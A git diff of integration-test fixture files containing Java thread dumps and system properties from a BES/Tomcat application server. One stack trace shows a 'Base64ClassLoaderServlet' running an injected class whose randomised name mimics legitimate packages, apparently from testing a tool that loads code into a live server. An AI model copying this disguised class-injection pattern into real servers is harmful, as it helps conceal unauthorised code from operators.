+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"com.bes.appserv-startStop-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55ef9d0b
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
-"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE]
+"RMI TCP Connection(1)-172.17.0.3" #76 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
@@ -203,14 +293,26 @@ ThreadStacks:
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
+"http-nio-0.0.0.0-6900-AsyncTimeout" #63 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@69b469f9
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-thread-pool-5" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -224,13 +326,18 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING]
+"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@4e406718
java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:460)
+ at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
+ at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
+ at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
+"http-thread-pool-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -244,16 +351,26 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"NioBlockingSelector.BlockPoller-1" #15 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #48 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+ at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #81 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@75cd8a86
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"admin-thread-pool-3" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -267,7 +384,28 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
+"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5c6356f1
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
+ at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
+ at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
+ at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
+ at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #71 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+ at java.lang.Thread.run(Thread.java:750)
+
+"admin-thread-pool-2" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -281,7 +419,7 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
+"admin-thread-pool-1" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -295,7 +433,20 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f
+"RetryTimer" #45 daemon [WAITING] on java.util.TaskQueue@16520725
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #69 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+ at java.lang.Thread.run(Thread.java:750)
+
+"bes-deployment-scheduled-executor-thread." #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b67ca50
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -307,21 +458,15 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:460)
- at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
- at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
- at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
- at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
- at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
- at java.lang.Thread.run(Thread.java:750)
-
-"Signal Dispatcher" #4 daemon [RUNNABLE]
+"http-nio-0.0.0.0-8080-Acceptor-0" #65 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
+ at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
+"http-thread-pool-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -335,18 +480,7 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045
+"Stateful cache" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4267f200
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -358,26 +492,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE]
+"http-nio-0.0.0.0-6900-Acceptor-0" #62 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
@@ -385,21 +500,13 @@ ThreadStacks:
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+"http-nio-0.0.0.0-8080-AsyncTimeout" #66 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
at java.lang.Thread.run(Thread.java:750)
-"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
+"http-thread-pool-8" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -413,20 +520,26 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-thread-pool-8" #66 daemon [RUNNABLE]
+"http-thread-pool-1" #53 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26)
+ at com.google.gso.JsjjN.ErrorWiwueHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2994)
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
+ at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
- at EmptyFilter.doFilter(EmptyFilter.java:21)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
+ at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
@@ -448,119 +561,14 @@ ThreadStacks:
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
- at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
- at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
- at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
- at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
-
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
- at java.lang.Thread.run(Thread.java:750)
-
-"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
-
-"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
- at java.lang.Thread.run(Thread.java:750)
-
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
-
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
com.bes.enterprise.base.disruptor.BatchEventProcessor
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
@@ -569,6 +577,7 @@ com.bes.enterprise.catalina.BESAppservValve
com.bes.enterprise.catalina.BesContextCleanupValve
com.bes.enterprise.server.builder.BesWebModule
com.bes.enterprise.startup.ASMain
+com.google.gso.JsjjN.ErrorWiwueHandler
org.apache.catalina.authenticator.AuthenticatorBase
org.apache.catalina.connector.CoyoteAdapter
org.apache.catalina.connector.CoyoteWriter
@@ -580,7 +589,6 @@ org.apache.catalina.core.StandardHostValve
org.apache.catalina.core.StandardWrapperValve
org.apache.catalina.startup.Bootstrap
org.apache.catalina.valves.ErrorReportValve
-org.apache.commons.lang.NFIaM.ErrorHandler
org.apache.coyote.AbstractProcessorLight
org.apache.coyote.AbstractProtocol$AsyncTimeout
org.apache.coyote.AbstractProtocol$ConnectionHandler
diff --git a/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..a33b3f38
--- /dev/null
+++ b/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt
@@ -0,0 +1,728 @@
+# Generated At 2026-05-24 05:04:36
+SystemProps:
+bes.loader: bes-system
+java.vendor: Oracle Corporation
+sun.java.launcher: SUN_STANDARD
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+javax.net.ssl.trustStorePassword: changeit
